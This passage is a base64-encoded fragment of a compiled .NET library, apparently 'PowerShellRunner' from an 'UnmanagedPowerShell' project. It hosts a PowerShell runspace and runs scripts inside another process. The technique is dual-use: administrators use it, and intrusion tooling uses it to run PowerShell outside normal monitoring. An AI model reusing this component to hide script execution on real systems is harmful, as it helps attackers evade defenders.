GwAACgDcAAZvHAAACnQEAAACbxoAAAYTBBEEEwUrABEFKgAAAAEcAAACACwAPWkAEgAAAAACAB0AYn8AEgAAAAAeAigdAAAKKhMwAQAMAAAAAgAAEQACewEAAAQKKwAGKhMwAQALAAAAAwAAEQByGQAAcAorAAYqABMwAgANAAAABAAAEQAXFnMeAAAKCisABioAAAATMAEADAAAAAUAABEAAnsCAAAECisABioTMAEAEAAAAAYAABEAKB8AAApvIAAACgorAAYqEzABABAAAAAGAAARACgfAAAKbyEAAAoKKwAGKjIAcjMAAHBzIgAACnoyAHKsAQBwcyIAAAp6EgArACoSACsAKhIAKwAqegIoIwAACn0BAAAEAnMPAAAGfQIAAAQCKCQAAAoAKoICczsAAAZ9BAAABAIoJQAACgAAAnMmAAAKfQMAAAQAKj4AAnsDAAAEBW8nAAAKJipOAAJ7AwAABHIjAwBwbycAAAomKmYAAnsDAAAEBXIjAwBwKCgAAApvJwAACiYqPgACewMAAAQDbycAAAomKmYAAnsDAAAEcicDAHADKCgAAApvKQAACiYqZgACewMAAARyNwMAcAMoKAAACm8pAAAKJio+AAJ7AwAABANvKQAACiYqZgACewMAAARyRwMAcAMoKAAACm8pAAAKJipmAAJ7AwAABHJbAwBwAygoAAAKbykAAAomKhIAKwAqEzABABEAAAADAAARAAJ7AwAABG8qAAAKCisABioyAHJvAwBwcyIAAAp6MgBy0gQAcHMiAAAKejIAckcGAHBzIgAACnoyAHLGBwBwcyIAAAp6AAAAEzABAAwAAAAHAAARAAJ7BAAABAorAAYqMgByRQkAcHMiAAAKejIAcqwKAHBzIgAACnoAABMwAQAMAAAACAAAEQACewkAAAQKKwAGKiYAAgN9CQAABCoAABMwAQAMAAAACQAAEQACewwAAAQKKwAGKiYAAgN9DAAABCoAABMwAQAMAAAACgAAEQACewYAAAQKKwAGKiYAAgN9BgAABCoAABMwAQAMAAAACwAAEQACewcAAAQKKwAGKiYAAgN9BwAABCoyAHIvDABwcyIAAAp6ABMwAQAMAAAACAAAEQACewgAAAQKKwAGKiYAAgN9CAAABCoyAHJ5DABwcyIAAAp6MgByxQwAcHMiAAAKehMwAQAMAAAACQAAEQACewoAAAQKKwAGKhMwAQAMAAAACQAAEQACewsAAAQKKwAGKjIAcgcNAHBzIgAACnoyAHJsDgBwcyIAAAp6MgByvA4AcHMiAAAKejIAcggPAHBzIgAACnoTMAEADAAAAAoAABEAAnsNAAAECisABiomAAIDfQ0AAAQqAAATMAEADAAAAAkAABEAAnsFAAAECisABiomAAIDfQUAAAQqAAATMAEADAAAAAMAABEAAnsOAAAECisABiomAAIDfQ4AAAQqAAATMAMAAgEAAAwAABECEgD+FRQAAAESAB94KCsAAAoAEgAfZCgsAAAKAAZ9BQAABAISAf4VFQAAARIBFigtAAAKABIBFiguAAAKAAd9BgAABAIXfQcAAAQCHw99CAAABAIWfQkAAAQCEgL+FRQAAAESAiD///9/KCsAAAoAEgIg////fygsAAAKAAh9CgAABAISA/4VFAAAARIDH2QoKwAACgASAx9kKCwAAAoACX0LAAAEAhIE/hUUAAABEgQfZCgrAAAKABIEIOgDAAAoLAAACgARBH0MAAAEAhIF/hUVAAABEgUWKC0AAAoAEgUWKC4AAAoAEQV9DQAABAJyUg8AcH0OAAAEAigvAAAKACoAAEJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAAJQJAAAjfgAAAAoAAMALAAAjU3RyaW5ncwAAAADAFQAAVA8AACNVUwAUJQAAEAAAACNHVUlEAAAAJCUAAJwCAAAjQmxvYgAAAAAAAAACAAABVxWiCQkCAAAA+iUzABYAAAEAAAA1AAAABQAAAA4AAAA7AAAAMwAAAC8AAAANAAAADAAAAAMAAAATAAAAGwAAAAEAAAABAAAAAgAAAAMAAAAAAAoAAQAAAAAABgCFAH4ACgDLAKkACgDSAKkACgDmAKkABgAMAX4ABgA1AX4ABgBlAVABBgA1AikCBgBOAn4ACgCrAowABgDuAtMCCgD7AowABgAjAwQDCgAwA6kACgBIA6kACgBqA4wACgB3A4wACgCJA4wABgDWA8YDCgAHBKkACgAYBKkACgB0BakACgB/BakACgDYBakACgDgBakABgAUCAIIBgArCAIIBgBICAIIBgBnCAIIBgCACAIIBgCZCAIIBgC0CAIIBgDPCAIIBgAHCegIBgAbCegIBgApCQIIBgBCCQIIBgByCV8JmwCGCQAABgC1CZUJBgDVCZUJCgAaCvMJCgA8CowACgBqCvMJCgB6CvMJCgCXCvMJCgCvCvMJCgDYCvMJCgDpCvMJBgAXC34ABgA8CysLBgBVC34ABgB8C34AAAAAAAEAAAAAAAEAAQABABAAHwAfAAUAAQABAAMAEAAwAAAACQABAAMAAwAQAD0AAAANAAMADwADABAAVwAAABEABQAiAAEAEQEcAAEAGQEgAAEAQwJZAAEARwJdAAEADAS6AAEAJAS+AAEANATCAAEAQATFAAEAUQTFAAEAYgS6AAEAeQS6AAEAiAS6AAEAlAS+AAEApATJAFAgAAAAAJYA/QATAAEAKCEAAAAAhhgGARgAAgAwIQAAAADGCB0BJAACAEghAAAAAMYILAEpAAIAYCEAAAAAxgg9AS0AAgB8IQAAAADGCEkBMgACAJQhAAAAAMYIcQE3AAIAsCEAAAAAxgiEATcAAgDMIQAAAADGAJkBGAACANkhAAAAAMYAqwEYAAIA5iEAAAAAxgC8ARgAAgDrIQAAAADGANMBGAACAPAhAAAAAMYA6AE8AAIA9SEAAAAAhhgGARgAAwAUIgAAAACGGAYBGAADADUiAAAAAMYAWwJhAAMARSIAAAAAxgBhAhgABgBZIgAAAADGAGECYQAGAHMiAAAAAMYAWwJqAAkAgyIAAAAAxgBrAmoACgCdIgAAAADGAHoCagALALciAAAAAMYAYQJqAAwAxyIAAAAAxgCJAmoADQDhIgAAAADGAJoCagAOAPsiAAAAAMYAugJvAA8AACMAAAAAhgjIAikAEQAdIwAAAADGAEEDdgARACojAAAAAMYAWgOIABQANyMAAAAAxgCfA5UAGABEIwAAAADGAJ8DogAeAFQjAAAAAMYIswOrACIAbCMAAAAAxgC9AykAIgB5IwAAAADGAOMDsAAiAIgjAAAAAMYIsQTMACIAoCMAAAAAxgjFBNEAIgCsIwAAAADGCNkE1wAjAMQjAAAAAMYI6ATcACMA0CMAAAAAxgj3BOIAJADoIwAAAADGCAoF5wAkAPQjAAAAAMYIHQXtACUADCQAAAAAxggsBTwAJQAWJAAAAADGADsFGAAmACQkAAAAAMYITAXMACYAPCQAAAAAxghgBdEAJgBGJAAAAADGAIkF8QAnAFMkAAAAAMYImwX+ACgAYCQAAAAAxgisBdcAKAB4JAAAAADGCMYF1wAoAJAkAAAAAMYA7wUCASgAnSQAAAAAxgD3BQkBKQCqJAAAAADGAAwGFQEtALckAAAAAMYADAYdAS8AxCQAAAAAxggeBuIAMQDcJAAAAADGCDEG5wAxAOgkAAAAAMYIRAbXADIAACUAAAAAxghTBtwAMgAMJQAAAADGCGIGKQAzACQlAAAAAMYIcgZqADMAMCUAAAAAhhgGARgANAAAAAEAHgcAAAEAJgcAAAEALwcAAAIAPwcAAAMATwcAAAEALwcAAAIAPwcAAAMATwcAAAEATwcAAAEAVQcAAAEATwcAAAEATwcAAAEAVQcAAAEAVQcAAAEAXQcAAAIAZgcAAAEAbQcAAAIAVQcAAAMAdQcAAAEAbQcAAAIAVQcAAAMAggcAAAQAigcAAAEAbQcAAAIAVQcAAAMAmAcAAAQAoQcAAAUArAcAAAYAwwcAAAEAbQcAAAIAVQcAAAMAmAcAAAQAoQcAAAEATwcAAAEATwcAAAEATwcAAAEATwcAAAEATwcAAAEAywcAAAEAwwcAAAEA1QcAAAIA3AcAAAMA6AcAAAQA7QcAAAEAywcAAAIA7QcAAAEA8gcAAAIA+QcAAAEATwcAAAEATwcAAAEATwfRAAYBagDZAAYBagDhAAYBagDpAAYBagDxAAYBagD5AAYBagABAQYBagAJAQYBagARAQYBQgEZAQYBagAhAQYBagApAQYBagAxAQYBRwFBAQYBPABJAQYBGABRAS4KTgFRAVEKVAFhAYMKWwFpAZIKGABpAaAKZgFxAcEKbAF5Ac4KagAMAOAKegGBAf0KgAF5AQwLagBxARALigGRASMLGAARAEkBMgAJAAYBGAAxAAYBrQGZAUMLvQGZAXEBNwCZAYQBNwChAQYBagApAG0LyAERAAYBGAAZAAYBGABBAAYBGABBAHULzQGpAYML0wFBAIoLzQEJAJULKQChAJ4LPAChAKgLPACpALMLPACpALkLPAAhAAYBGAAuAAsAAAIuABMAFgIuABsAFgIuACMAFgIuACsAAAIuADMAHAIuADsAFgIuAEsAFgIuAFMANAIuAGMAXgIuAGsAawIuAHMAdAIuAHsAfQKTAaQBqQGzAbgBwwHZAd4B4wHoAe0B8QEDAAEABAAHAAUACQAAAPYBQQAAAAECRgAAADUBSgAAAAYCTwAAAAkCVAAAABgCVAAAAPoDRgAAAAEEtQAAAIIGKwEAAJIGMAEAAJ0GNQEAAKwGOgEAALcGKwEAAMcGPgEAANQGMAEAAOoGMAEAAPgGNQEAAAcHMAEAABIHRgACAAMAAwACAAQABQACAAUABwACAAYACQACAAcACwACAAgADQACABoADwACAB8AEQACACIAEwABACMAEwACACQAFQABACUAFQABACcAFwACACYAFwABACkAGQACACgAGQACACsAGwABACwAGwACAC4AHQACAC8AHwACADAAIQACADUAIwABADYAIwACADcAJQABADgAJQACADkAJwABADoAJwByAQSAAAABAAAAAAAAAAAAAAAAAB8AAAACAAAAAAAAAAAAAAABAHUAAAAAAAEAAAAAAAAAAAAAAAoAjAAAAAAAAwACAAQAAgAFAAIAAAAAPE1vZHVsZT4AUG93ZXJTaGVsbFJ1bm5lci5kbGwAUG93ZXJTaGVsbFJ1bm5lcgBDdXN0b21QU0hvc3QAQ3VzdG9tUFNIb3N0VXNlckludGVyZmFjZQBDdXN0b21QU1JIb3N0UmF3VXNlckludGVyZmFjZQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5Ib3N0AFBTSG9zdABQU0hvc3RVc2VySW50ZXJmYWNlAFBTSG9zdFJhd1VzZXJJbnRlcmZhY2UASW52b2tlUFMALmN0b3IAR3VpZABfaG9zdElkAF91aQBnZXRfSW5zdGFuY2VJZABnZXRfTmFtZQBWZXJzaW9uAGdldF9WZXJzaW9uAGdldF9VSQBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwBnZXRfQ3VycmVudEN1bHR1cmUAZ2V0X0N1cnJlbnRVSUN1bHR1cmUARW50ZXJOZXN0ZWRQcm9tcHQARXhpdE5lc3RlZFByb21wdABOb3RpZnlCZWdpbkFwcGxpY2F0aW9uAE5vdGlmeUVuZEFwcGxpY2F0aW9uAFNldFNob3VsZEV4aXQASW5zdGFuY2VJZABOYW1lAFVJAEN1cnJlbnRDdWx0dXJlAEN1cnJlbnRVSUN1bHR1cmUAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBfc2IAX3Jhd1VpAENvbnNvbGVDb2xvcgBXcml0ZQBXcml0ZUxpbmUAV3JpdGVEZWJ1Z0xpbmUAV3JpdGVFcnJvckxpbmUAV3JpdGVWZXJib3NlTGluZQBXcml0ZVdhcm5pbmdMaW5lAFByb2dyZXNzUmVjb3JkAFdyaXRlUHJvZ3Jlc3MAZ2V0X091dHB1dABTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBEaWN0aW9uYXJ5YDIAUFNPYmplY3QAU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsAENvbGxlY3Rpb25gMQBGaWVsZERlc2NyaXB0aW9uAFByb21wdABDaG9pY2VEZXNjcmlwdGlvbgBQcm9tcHRGb3JDaG9pY2UAUFNDcmVkZW50aWFsAFBTQ3JlZGVudGlhbFR5cGVzAFBTQ3JlZGVudGlhbFVJT3B0aW9ucwBQcm9tcHRGb3JDcmVkZW50aWFsAGdldF9SYXdVSQBSZWFkTGluZQBTeXN0ZW0uU2VjdXJpdHkAU2VjdXJlU3RyaW5nAFJlYWRMaW5lQXNTZWN1cmVTdHJpbmcAT3V0cHV0AFJhd1VJAFNpemUAX3dpbmRvd1NpemUAQ29vcmRpbmF0ZXMAX2N1cnNvclBvc2l0aW9uAF9jdXJzb3JTaXplAF9mb3JlZ3JvdW5kQ29sb3IAX2JhY2tncm91bmRDb2xvcgBfbWF4UGh5c2ljYWxXaW5kb3dTaXplAF9tYXhXaW5kb3dTaXplAF9idWZmZXJTaXplAF93aW5kb3dQb3NpdGlvbgBfd2luZG93VGl0bGUAZ2V0X0JhY2tncm91bmRDb2xvcgBzZXRfQmFja2dyb3VuZENvbG9yAGdldF9CdWZmZXJTaXplAHNldF9CdWZmZXJTaXplAGdldF9DdXJzb3JQb3NpdGlvbgBzZXRfQ3Vyc29yUG9zaXRpb24AZ2V0X0N1cnNvclNpemUAc2V0X0N1cnNvclNpemUARmx1c2hJbnB1dEJ1ZmZlcgBnZXRfRm9yZWdyb3VuZENvbG9yAHNldF9Gb3JlZ3JvdW5kQ29sb3IAQnVmZmVyQ2VsbABSZWN0YW5nbGUAR2V0QnVmZmVyQ29udGVudHMAZ2V0X0tleUF2YWlsYWJsZQBnZXRfTWF4UGh5c2ljYWxXaW5kb3dTaXplAGdldF9NYXhXaW5kb3dTaXplAEtleUluZm8AUmVhZEtleU9wdGlvbnMAUmVhZEtleQBTY3JvbGxCdWZmZXJDb250ZW50cwBTZXRCdWZmZXJDb250ZW50cwBnZXRfV2luZG93UG9zaXRpb24Ac2V0X1dpbmRvd1Bvc2l0aW9uAGdldF9XaW5kb3dTaXplAHNldF9XaW5kb3dTaXplAGdldF9XaW5kb3dUaXRsZQBzZXRfV2luZG93VGl0bGUAQmFja2dyb3VuZENvbG9yAEJ1ZmZlclNpemUAQ3Vyc29yUG9zaXRpb24AQ3Vyc29yU2l6ZQBGb3JlZ3JvdW5kQ29sb3IAS2V5QXZhaWxhYmxlAE1heFBoeXNpY2FsV2luZG93U2l6ZQBNYXhXaW5kb3dTaXplAFdpbmRvd1Bvc2l0aW9uAFdpbmRvd1NpemUAV2luZG93VGl0bGUAY29tbWFuZABleGl0Q29kZQBmb3JlZ3JvdW5kQ29sb3IAYmFja2dyb3VuZENvbG9yAHZhbHVlAG1lc3NhZ2UAc291cmNlSWQAcmVjb3JkAGNhcHRpb24AZGVzY3JpcHRpb25zAGNob2ljZXMAZGVmYXVsdENob2ljZQB1c2VyTmFtZQB0YXJnZXROYW1lAGFsbG93ZWRDcmVkZW50aWFsVHlwZXMAb3B0aW9ucwByZWN0YW5nbGUAc291cmNlAGRlc3RpbmF0aW9uAGNsaXAAZmlsbABvcmlnaW4AY29udGVudHMAU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5Q3VsdHVyZUF0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAQ29tVmlzaWJsZUF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAEFzc2VtYmx5VmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFN5c3RlbS5EaWFnbm9zdGljcwBEZWJ1Z2dhYmxlQXR0cmlidXRlAERlYnVnZ2luZ01vZGVzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlJ1bnNwYWNlcwBJbml0aWFsU2Vzc2lvblN0YXRlAENyZWF0ZURlZmF1bHQAQXV0aG9yaXphdGlvbk1hbmFnZXIAc2V0X0F1dGhvcml6YXRpb25NYW5hZ2VyAFJ1bnNwYWNlRmFjdG9yeQBSdW5zcGFjZQBDcmVhdGVSdW5zcGFjZQBPcGVuAFBpcGVsaW5lAENyZWF0ZVBpcGVsaW5lAENvbW1hbmRDb2xsZWN0aW9uAGdldF9Db21tYW5kcwBBZGRTY3JpcHQAQ29tbWFuZABnZXRfSXRlbQBQaXBlbGluZVJlc3VsdFR5cGVzAE1lcmdlTXlSZXN1bHRzAEFkZABJbnZva2UASURpc3Bvc2FibGUARGlzcG9zZQBTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABnZXRfQ3VycmVudFRocmVhZABOb3RJbXBsZW1lbnRlZEV4Y2VwdGlvbgBOZXdHdWlkAEFwcGVuZABTdHJpbmcAQ29uY2F0AEFwcGVuZExpbmUAVG9TdHJpbmcAc2V0X1dpZHRoAHNldF9IZWlnaHQAc2V0X1gAc2V0X1kAAAAXbwB1AHQALQBkAGUAZgBhAHUAbAB0AAEZQwB1AHMAdABvAG0AUABTAEgAbwBzAHQAAIF3RQBuAHQAZQByAE4AZQBzAHQAZQBkAFAAcgBvAG0AcAB0ACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABgXVFAHgAaQB0AE4AZQBzAHQAZQBkAFAAcgBvAG0AcAB0ACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABAwoAAA9EAEUAQgBVAEcAOgAgAAAPRQBSAFIATwBSADoAIAAAE1YARQBSAEIATwBTAEUAOgAgAAATVwBBAFIATgBJAE4ARwA6ACAAAIFhUAByAG8AbQBwAHQAIABpAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuACAAIABUAGgAZQAgAHMAYwByAGkAcAB0ACAAaQBzACAAYQBzAGsAaQBuAGcAIABmAG8AcgAgAGkAbgBwAHUAdAAsACAAdwBoAGkAYwBoACAAaQBzACAAYQAgAHAAcgBvAGIAbABlAG0AIABzAGkAbgBjAGUAIAB0AGgAZQByAGUAJwBzACAAbgBvACAAYwBvAG4AcwBvAGwAZQAuACAAIABNAGEAawBlACAAcwB1AHIAZQAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABjAGEAbgAgAGUAeABlAGMAdQB0AGUAIAB3AGkAdABoAG8AdQB0ACAAcAByAG8AbQBwAHQAaQBuAGcAIAB0AGgAZQAgAHUAcwBlAHIAIABmAG8AcgAgAGkAbgBwAHUAdAAuAAGBc1AAcgBvAG0AcAB0AEYAbwByAEMAaABvAGkAYwBlACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABgX1QAHIAbwBtAHAAdABGAG8AcgBDAHIAZQBkAGUAbgB0AGkAYQBsADEAIABpAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuACAAIABUAGgAZQAgAHMAYwByAGkAcAB0ACAAaQBzACAAYQBzAGsAaQBuAGcAIABmAG8AcgAgAGkAbgBwAHUAdAAsACAAdwBoAGkAYwBoACAAaQBzACAAYQAgAHAAcgBvAGIAbABlAG0AIABzAGkAbgBjAGUAIAB0AGgAZQByAGUAJwBzACAAbgBvACAAYwBvAG4AcwBvAGwAZQAuACAAIABNAGEAawBlACAAcwB1AHIAZQAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABjAGEAbgAgAGUAeABlAGMAdQB0AGUAIAB3AGkAdABoAG8AdQB0ACAAcAByAG8AbQBwAHQAaQBuAGcAIAB0AGgAZQAgAHUAcwBlAHIAIABmAG8AcgAgAGkAbgBwAHUAdAAuAAGBfVAAcgBvAG0AcAB0AEYAbwByAEMAcgBlAGQAZQBuAHQAaQBhAGwAMgAgAGkAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkAC4AIAAgAFQAaABlACAAcwBjAHIAaQBwAHQAIABpAHMAIABhAHMAawBpAG4AZwAgAGYAbwByACAAaQBuAHAAdQB0ACwAIAB3AGgAaQBjAGgAIABpAHMAIABhACAAcAByAG8AYgBsAGUAbQAgAHMAaQBuAGMAZQAgAHQAaABlAHIAZQAnAHMAIABuAG8AIABjAG8AbgBzAG8AbABlAC4AIAAgAE0AYQBrAGUAIABzAHUAcgBlACAAdABoAGUAIABzAGMAcgBpAHAAdAAgAGMAYQBuACAAZQB4AGUAYwB1AHQAZQAgAHcAaQB0AGgAbwB1AHQAIABwAHIAbwBtAHAAdABpAG4AZwAgAHQAaABlACAAdQBzAGUAcgAgAGYAbwByACAAaQBuAHAAdQB0AC4AAYFlUgBlAGEAZABMAGkAbgBlACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABgYFSAGUAYQBkAEwAaQBuAGUAQQBzAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABSUYAbAB1AHMAaABJAG4AcAB1AHQAQgB1AGYAZgBlAHIAIABpAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuAABLRwBlAHQAQgB1AGYAZgBlAHIAQwBvAG4AdABlAG4AdABzACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAAQUsAZQB5AEEAdgBhAGkAbABhAGIAbABlACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAAgWNSAGUAYQBkAEsAZQB5ACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABT1MAYwByAG8AbABsAEIAdQBmAGYAZQByAEMAbwBuAHQAZQBuAHQAcwAgAGkAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkAABLUwBlAHQAQgB1AGYAZgBlAHIAQwBvAG4AdABlAG4AdABzACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAASVMAZQB0AEIAdQBmAGYAZQByAEMAbwBuAHQAZQBuAHQAcwAgAGkAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkAAABAMxuW3U18Q5BqVrw/QQ4SsQACLd6XFYZNOCJCDG/OFatNk41BAABDg4DIAABAwYRFQMGEhAEIAARFQMgAA4EIAASGQQgABINBCAAEh0EIAEBCAQoABEVAygADgQoABIZBCgAEg0EKAASHQMGEiEDBhIUCCADARElESUOBCABAQ4GIAIBChIpESADFRItAg4SMQ4OFRI1ARI5DCAECA4OFRI1ARI9CAwgBhJBDg4ODhFFEUkIIAQSQQ4ODg4EIAASEQQgABJNBCgAEhEDBhFRAwYRVQIGCAMGESUCBg4EIAARJQUgAQERJQQgABFRBSABARFRBCAAEVUFIAEBEVUDIAAIDCABFBFZAgACAAARXQMgAAIGIAERYRFlCyAEARFdEVURXRFZByACARFdEVkNIAIBEVUUEVkCAAIAAAQoABElBCgAEVEEKAARVQMoAAgDKAACBCABAQIGIAEBEYCdBQAAEoCpBiABARKArQoAAhKAtRIJEoCpBSAAEoC5BSAAEoC9BxUSNQESgMEFIAETAAgJIAIBEYDFEYDFCCAAFRI1ARIxEAcHEgwSgKkSgLUSgLkODgIEBwERFQMHAQ4FIAIBCAgEBwESGQQHARINBQAAEoDNBAcBEh0EAAARFQUgARIhDgUAAg4ODgQHARIRBAcBESUEBwERUQQHARFVAwcBCA4HBhFREVURURFREVERVRUBABBQb3dlclNoZWxsUnVubmVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE0AAApAQAkZGZjNGVlYmItNzM4NC00ZGI1LTliYWQtMjU3MjAzMDI5YmQ5AAAMAQAHMS4wLjAuMAAACAEABwEAAAAACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQAAAAAGG45UAAAAAAIAAAAcAQAAHE4AABwwAABSU0RTRUDd29OH8U6bgVJtUD4juAsAAABlOlxEb2N1bWVudHNcVmlzdWFsIFN0dWRpbyAyMDEzXFByb2plY3RzXFVubWFuYWdlZFBvd2VyU2hlbGxcUG93ZXJTaGVsbFJ1bm5lclxvYmpcRGVidWdcUG93ZXJTaGVsbFJ1bm5lci5wZGIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGBPAAAAAAAAAAAAAH5PAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwTwAAAAAAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA